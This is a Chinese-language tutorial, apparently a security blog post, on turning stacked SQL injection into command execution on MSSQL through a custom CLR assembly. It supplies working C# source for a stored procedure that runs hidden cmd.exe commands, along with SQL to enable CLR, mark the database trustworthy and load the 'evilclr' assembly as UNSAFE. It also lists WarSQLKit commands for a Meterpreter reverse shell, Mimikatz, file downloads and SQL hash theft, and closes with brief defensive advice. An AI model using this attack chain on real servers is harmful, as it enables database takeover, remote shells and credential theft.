MSSQL使用CLR程序集来执行命令
字数 1512 2025-08-26 22:11:57
MSSQL使用CLR程序集执行命令技术详解
一、技术背景
当获得MSSQL可堆叠注入时,传统方法如xp_cmdshell和sp_OACreate常被禁用或拦截。CLR(公共语言运行时)集成提供了一种替代方案,允许通过.NET语言编写存储过程来执行系统命令。
二、CLR基础
CLR(Common Language Runtime)是微软.NET框架的核心组件,从SQL Server 2005开始集成,允许使用.NET语言(如C#)编写:
- 存储过程
- 触发器
- 用户定义类型
- 用户定义函数
三、恶意CLR程序集制作
环境要求
- Windows Server 2008
- MSSQL 2008 R2
- Visual Studio 2019
- 注意:MSSQL 2008及以前版本基于.NET 3.5,需特别设置
创建步骤
-
创建MSSQL数据库项目
- 在VS2019中新建"SQL Server Database Project"
-
关键项目设置
// 必须设置为.NET 3.5以兼容旧版MSSQL // 权限级别必须设为UNSAFE(因需调用外部程序) -
添加CLR存储过程
- 右键项目 → 添加 → 新建项 → 存储过程(CLR)
-
核心代码实现
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using System.Diagnostics; using System.Text; using Microsoft.SqlServer.Server; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void ExecCommand(string cmd) { SqlContext.Pipe.Send("Command is running, please wait."); SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd)); } public static string RunCommand(string filename, string arguments) { var process = new Process(); process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; } process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; // ...完整错误处理和输出处理逻辑 return stdOutput.ToString(); } }
四、部署与使用
前置配置
-
启用CLR功能
sp_configure 'clr enabled', 1 GO RECONFIGURE GO -
设置数据库为可信任
ALTER DATABASE master SET TRUSTWORTHY ON;
程序集导入方式
-
字节流方式导入
CREATE ASSEMBLY [evilclr] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF... -- 长字节流 WITH PERMISSION_SET = UNSAFE; GO -
DLL文件方式导入
- 右键"程序集" → 新建程序集
- 选择DLL路径
- 权限选择"无限制"(对应UNSAFE)
创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [evilclr].[StoredProcedures].[ExecCommand]
GO
执行命令
exec dbo.execcommand 'whoami'
五、高级扩展 - WarSQLKit
针对MSSQL 2012+(需.NET 4.0+)的高级功能集:
可用命令示例
| 命令 | 功能描述 |
|---|---|
EXEC sp_cmdExec 'whoami' |
执行任意Windows命令 |
EXEC sp_cmdExec 'whoami /RunSystemPriv' |
以SYSTEM权限执行命令 |
EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem' |
建立x86 Meterpreter反向连接(SYSTEM权限) |
EXEC sp_cmdExec 'sp_Mimikatz' |
执行Mimikatz |
EXEC sp_cmdExec 'sp_downloadFile URL PATH TIMEOUT' |
下载文件 |
EXEC sp_cmdExec 'sp_getSqlHash' |
获取MSSQL哈希 |
六、注意事项
-
版本兼容性
- MSSQL 2008及以前:必须使用.NET 3.5
- MSSQL 2012+:可使用.NET 4.0+功能(如WarSQLKit)
-
权限要求
- 必须使用UNSAFE权限集
- 需要数据库管理员权限
-
防御措施
- 监控CLR程序集创建
- 限制UNSAFE权限集使用
- 定期检查可疑存储过程
-
错误处理
- 确保完整错误处理逻辑
- 考虑超时和资源限制
七、技术原理
-
CLR集成架构
- SQL Server托管CLR运行时
- 通过特殊属性标记存储过程
- 安全边界通过权限集控制
-
进程创建机制
- 使用System.Diagnostics.Process
- 重定向输入输出与SQL Server通信
- 隐藏窗口避免被发现
-
权限提升
- 利用SQL Server服务账户权限
- 通过RottenPotato等技术提权
八、防御建议
-
禁用不必要的CLR功能
sp_configure 'clr enabled', 0 RECONFIGURE -
严格权限控制
- 限制UNSAFE权限集使用
- 监控程序集创建
-
审计与监控
- 记录所有CLR程序集操作
- 监控异常进程创建
-
最小权限原则
- SQL Server服务使用最低必要权限账户
- 限制数据库所有者权限